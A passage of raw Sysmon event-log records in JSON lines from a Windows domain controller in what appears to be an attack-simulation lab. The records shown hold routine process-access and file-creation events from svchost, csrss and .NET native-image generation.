12:02:33.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-001032600800}","TargetProcessId":"808","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:33.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:33.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:34.650\r\nProcessGuid: {90617006-42CF-5F2D-0000-001018E70D00}\r\nProcessId: 3784\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ec8-0\\System.Data.Entity.dll\r\nCreationUtcTime: 2020-08-07 12:02:34.650","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:34.650","ProcessGuid":"{90617006-42CF-5F2D-0000-001018E70D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ec8-0\\System.Data.Entity.dll","CreationUtcTime":"2020-08-07 12:02:34.650","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:34.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106EE70C00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:34.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106EE70C00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:34.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106EE70C00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:34.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106EE70C00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DA-5F2D-0000-00102EEF0D00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DA-5F2D-0000-00102EEF0D00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:35.182\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010083F0D00}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:35.182","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010083F0D00}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:35.182\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010083F0D00}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:35.182","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010083F0D00}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:35.198\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DB-5F2D-0000-00102CF30D00}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:35.198","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DB-5F2D-0000-00102CF30D00}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:36.182\r\nProcessGuid: {90617006-42DB-5F2D-0000-00102CF30D00}\r\nProcessId: 4108\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\100c-0\\System.Data.Entity.Design.dll\r\nCreationUtcTime: 2020-08-07 12:02:36.182","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:36.182","ProcessGuid":"{90617006-42DB-5F2D-0000-00102CF30D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\100c-0\\System.Data.Entity.Design.dll","CreationUtcTime":"2020-08-07 12:02:36.182","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001063F20C00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 